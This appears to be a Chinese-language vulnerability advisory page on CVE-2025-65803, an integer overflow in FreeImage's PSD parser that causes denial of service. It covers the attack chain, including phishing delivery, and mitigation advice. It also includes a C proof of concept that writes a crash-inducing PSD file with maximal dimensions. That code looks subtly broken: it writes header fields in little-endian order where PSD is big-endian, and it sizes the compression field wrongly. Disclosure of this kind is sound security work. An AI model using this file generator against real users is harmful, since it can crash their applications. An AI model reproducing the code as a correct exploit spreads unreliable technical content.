IPBUF安全漏洞报告
English
CVE-2025-65803 CVSS 6.5 中危

CVE-2025-65803 FreeImage psdParser::ReadImageData 整数溢出漏洞导致拒绝服务

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-65803
漏洞类型
整数溢出
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FreeImage v3.18.0及之前版本

相关标签

整数溢出拒绝服务FreeImagePSD文件解析缓冲区溢出图像处理漏洞CVE-2025-65803

漏洞概述

CVE-2025-65803是FreeImage图像处理库中的一个整数溢出漏洞。该漏洞存在于psdParser::ReadImageData函数中,攻击者可以通过构造恶意的PSD(Photoshop Document)文件触发整数溢出,最终导致程序崩溃或拒绝服务(DoS)。FreeImage是一款广泛使用的开源图像处理库,支持多种图像格式,被众多应用程序和开发项目所依赖。该漏洞的CVSS评分为6.5,属于中等严重程度,攻击复杂度低,无需认证即可利用,但需要用户交互打开恶意文件。由于漏洞影响可用性而非机密性或完整性,攻击成功后可能导致使用FreeImage的应用程序无响应。

技术细节

该漏洞的根本原因在于psdParser::ReadImageData函数在处理PSD文件图像数据时存在整数溢出问题。当解析恶意的PSD文件时,函数在计算图像数据缓冲区大小时可能发生整数溢出,导致分配的内存空间过小。随后在写入图像数据时发生缓冲区溢出,触发程序崩溃。攻击者只需构造一个包含特殊构造的图像尺寸参数的PSD文件即可触发此漏洞。由于该漏洞位于文件解析模块,攻击向量为网络(AV:N),但实际利用需要用户打开恶意文件(UI:R)。漏洞影响FreeImage 3.18.0及之前所有版本。修复此漏洞需要在图像数据大小计算时进行整数溢出检查,使用安全的整数运算函数确保计算结果不会溢出。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意构造参数的PSD文件,在图像尺寸字段中设置特殊值以触发psdParser::ReadImageData函数中的整数溢出
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意网站下载链接或其他社会工程学手段诱导受害者下载并打开该恶意PSD文件
STEP 3
步骤3
受害者的应用程序(使用FreeImage库)尝试加载该PSD文件,调用psdParser::ReadImageData函数进行解析
STEP 4
步骤4
函数在计算图像数据缓冲区大小时发生整数溢出,导致分配过小的内存空间
STEP 5
步骤5
当向过小的缓冲区写入图像数据时发生缓冲区溢出,触发程序崩溃或异常,导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> // PSD file header structure #pragma pack(push, 1) typedef struct { char signature[4]; // '8BPS' unsigned short version; // 1 char reserved[6]; // must be zero unsigned short channels;// number of channels (1-56) unsigned int height; // height of image unsigned int width; // width of image unsigned short depth; // bits per channel unsigned short mode; // color mode } PSD_HEADER; // Create malicious PSD file to trigger integer overflow in psdParser::ReadImageData void create_malicious_psd(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; PSD_HEADER header; memset(&header, 0, sizeof(header)); // PSD signature memcpy(header.signature, "8BPS", 4); header.version = 1; // Trigger integer overflow: set large dimensions // that cause overflow when calculating buffer size header.channels = 4; header.height = 0xFFFFFFFF; // Max value to trigger overflow header.width = 0xFFFFFFFF; // Max value to trigger overflow header.depth = 8; header.mode = 3; // RGB mode fwrite(&header, sizeof(header), 1, fp); // Add minimal color mode data section unsigned int color_mode_data_length = 0; fwrite(&color_mode_data_length, 4, 1, fp); // Add image resources section unsigned int image_resources_length = 0; fwrite(&image_resources_length, 4, 1, fp); // Add layer and mask data section unsigned int layer_mask_length = 0; fwrite(&layer_mask_length, 4, 1, fp); // Add compressed image data that will cause overflow unsigned char compression = 0; // Raw data fwrite(&compression, 1, 1, fp); // Write minimal data unsigned char data[16] = {0}; fwrite(data, 16, 1, fp); fclose(fp); printf("Malicious PSD file created: %s\n", filename); } int main() { create_malicious_psd("malicious.psd"); return 0; }

影响范围

FreeImage < 3.18.0
FreeImage 3.18.0

防御指南

临时缓解措施
在官方修复发布前,建议暂时禁用或限制应用程序对PSD文件格式的支持,使用其他图像格式替代PSD文件。加强对来源不明的PSD文件的检测,不要打开或处理来自不可信来源的PSD文件。可考虑使用专业的文件安全扫描工具对PSD文件进行预检测,识别潜在的恶意构造特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表